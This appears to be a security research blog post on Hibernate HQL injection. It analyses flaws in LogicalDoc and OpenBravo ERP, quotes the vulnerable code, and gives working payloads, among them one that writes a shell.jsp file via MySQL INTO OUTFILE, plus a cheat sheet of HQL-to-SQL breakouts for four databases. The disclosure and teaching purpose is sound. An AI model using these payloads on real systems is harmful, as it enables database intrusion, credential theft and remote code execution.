Hibernate is a database ORM framework for Java offering developers a uniform interface and syntax to interact independently with underlying relational databases like MySQL, PostgreSQL, and many more. The Hibernate Query Language is a SQL dialect very similar to a limited version of MySQL or pgSQL and it is often argued that it adds an additional layer of security.

Restrictions and Bypasses

Data sets stored in SQL tables must be mapped to a Java class in order to be selected through HQL. Therefore, if sensitive data is stored in a SQL table which is never mapped to an entity class representing the data it cannot be accessed within HQL. Of course, usually the data that is created and manipulated by the application is accessible through a HQL Injection within that application, including usernames and password hashes of the web application administrator.

Hibernates syntax will prevent the usage of DBMS specific syntax which may be critical for an adversary like MySQL’s SELECT ... INTO OUTFILE allowing (when granted MySQL’s FILE permissions) to spawn a backdoor prone to a unauthenticated Remote Code Execution vulnerability.

Since _m0bius’ talk HQL: Hyperinsane Query Language at SSTIC 2015 it is known, that an attacker can break out of the HQL syntax exploiting specific DBMS functions and the translation of HQL into SQL which is a default task performed for each query. We have tested most of these escapes and have confirmed for the latest Hibernate ORM 5 version that these exploits still work today and we have created a quick cheat sheet table at the bottom for quick reference.

In the following section we will inspect real world HQL Injection vulnerabilities which were detected by our static code analysis tool RIPS.

LogicalDoc PreAuth HQLi 8.3.2

This vulnerability is a very intrinsic Hibernate Injection we have found in LogicalDoc, a software we have already written about. On the first glance, it may look like it was correctly sanitized:

com/logicaldoc/core/security/dao/HibernateTenantDAO.java

39
40
41
42
    public Tenant findByName(String name) {
        Tenant tenant = null;
        Collection coll = this.findByWhere("_entity.name = '" + 
            SqlUtil.doubleQuotes(name) + "'", (String)null, (Integer)null);

Here, an attacker is controlling the name argument of the findByName() method which is first processed by the StringUtil.doubleQuotes() function and the result is then embedded into an HQL query. This function was designed to sanitize the incoming data, preparing it for HQL.

com/logicaldoc/util/sql/SqlUtil.java

12
13
    public static String doubleQuotes(String input) {
        return input.replaceAll("'", "''");

When taking a closer look at the function one could argue that the method is correctly sanitizing the data as doubling a single quote will prevent HQL from ending the string context in which the data will be embedded. However when considering that LogicalDoc uses MySQL as the default database and observing the break out cheat sheet from below, one can deduce that this code snippet allows to break out of the HQL context by prepending a single quote with a simple backslash character: abc\' or 1=sleep(2) -- x. We figured that the vulnerable method findByName() was used unauthenticated in a GWT RPC call on the front login so we only had to embed our payload there:

12
13
14
7|0|8|http://192.168.56.101:8080/login/|A6445F1FD5BBF4A99039840F89E3F56B|
com.logicaldoc.gui.common.client.services.InfoService|getInfo|java.lang.String/
2004016611|Z|en_US|defau\u005c\u0027 or 1=sleep(2) -- x|1|2|3|4|3|5|5|6|7|8|1|

This time the underlying database is MySQL and to further escalate this vulnerability into a Remote Code Execution, the database user needs to be granted the FILE permissions and MySQL should not be run with the secure_file_priv variable set. If these conditions are met, it will allow us to escape from the HQL query, inject into the SQL syntax, and spawn a shell with MySQLs SELECT ... INTO OUTFILE.

1
100 or 6<>'\'' ) or 1=? into outfile "shell.jsp" -- - '

Although this payload looks like a harmless string for HQL it will instruct MySQL to dump all the contents of the query results into the file shell.jsp.

OpenBravo ERP

The following code snippets shows a HQL Injection in OpenBravo ERP 3.0 19Q.3 which is an ERP platform deployed by large retailers.

Openbravo-3.0PR19Q3/src/org/openbravo/service/rest/DalWebService.java

72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
public class DalWebService implements WebService {
/*...*/
  public void doGet(String path, HttpServletRequest request, 
    HttpServletResponse response) throws Exception {
      /*...*/
      final String where = request.getParameter(PARAMETER_WHERE);
      final String orderBy = request.getParameter(PARAMETER_ORDERBY);
      /*...*/
      whereOrderByClause += where;
      /*...*/
      final OBQuery<BaseOBObject> obq = OBDal.getInstance()
        .createQuery(entityName, whereOrderByClause);
      /*...*/
      final String xmlResult = WebServiceUtil.getInstance().
         createResultXML("" + obq.count());

An authenticated user can pass a GET parameter to the URL which is received on line 77 of the DalWebService class. The string is then concatenated on line 80 of the Java code and stored in the variable whereOrderByClause which will be passed as the second argument to the createQuery() method on line 83 which will instantiate and return an object stored in the obq variable. Finally the count() method is invoked upon the object which is sketched in the following source code:

Openbravo-3.0PR19Q3/src/org/openbravo/dal/service/OBQuery.java

58
59
60
61
62
63
64
public class OBQuery<E extends BaseOBObject> {
  /*...*/
  public int count() {
    String qryStr = " " + stripOrderBy(createQueryString());
    /*...*/
    final Query<Number> qry = getSession().createQuery("select count(*) " +
       FROM_SPACED + qryStr, Number.class);

The user input is embedded into the result of the createQueryString() method and concatenated into a HQL query, leading to our Hibernate Injection vulnerability. The underlying database of the OpenBravo appliance was defaulted to PostgreSQL therefore we can make use of Postgre’s pg_sleep() method and exploit the vulnerability per CSRF (similar as in PimCore, in SuiteCRM and in SugarCRM). In the following we will show you the attack payload that an attacker can choose to exploit this vulnerability:

1
2
3
c_country_id='100' and $$='$$=concat(chr(61),chr(39)) and version()||
    pg_sleep(1)=version()||pg_sleep(1) and 
        (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment'

The highlighter chosen for this payload obeys the general HQL syntax greatly sketching how HQL parses this query. For HQL an empty string which is encapsulated by dollar signs $$ is compared with the equality operator against the very long string highlighted yellow at the end of the shown source code encapsulated in single quotes. This is valid HQL syntax and an HQL parser will parse the query into an abstract syntax tree (AST).

Finally the AST is converted by Hibernate into a SQL query which is passed to the database. Since the very long yellow line is a valid string constant compared with a valid equality operator and a valid empty string $$ this whole line ends up in the PostgreSQL query directly:

1
2
3
c_country_id='100' and $$='$$=concat(chr(61),chr(39)) and version()||
    pg_sleep(1)=version()||pg_sleep(1) and 
        (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment'

The highlighter chosen for this payload obeys the PostgreSQL specific syntax. It can be seen that the very long line has spilled out into the SQL query, simply because PostgreSQL prefers strings encapsulated within four dollar signs $$='$$ over simple strings. The additional question marks ? placeholders have been prepended to the comment to allow parameter binding to succeed, due to Postgres ignoring placeholders which are added after the comment leading to the error message The column index is out of range: 1, number of columns: 0.

Keep in mind that is not mandatory to break out of the HQL syntax if you want to extract the administrators hash directly.

HQL Injection Cheat Sheet

As a quick re-cap we have sketched out the table which you can use to break out of the Hibernate query syntax and inject into the SQL query SELECT column FROM table WHERE id = <injection>.

DBMSSQL Injection (no quotes)
MySQL 'abc\'' INTO OUTFILE -- '
PostgreSQL $$='$$=chr(61)||chr(0x27) and 1=pg_sleep(2)||version()'
OracleNVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
MS SQL1<LEN(%C2%A0(select%C2%A0top%C2%A01%C2%A0name%C2%A0from%C2%A0users)

The %C2%A0 notation represents a urlencoded unicode whitespace.

Summary

In this post we have seen that Hibernate does not provide a great additional layer of security. In fact, the old tricks to break out of the HQL language are still working and often do not require a lot of skill from an attacker to achieve a compromise.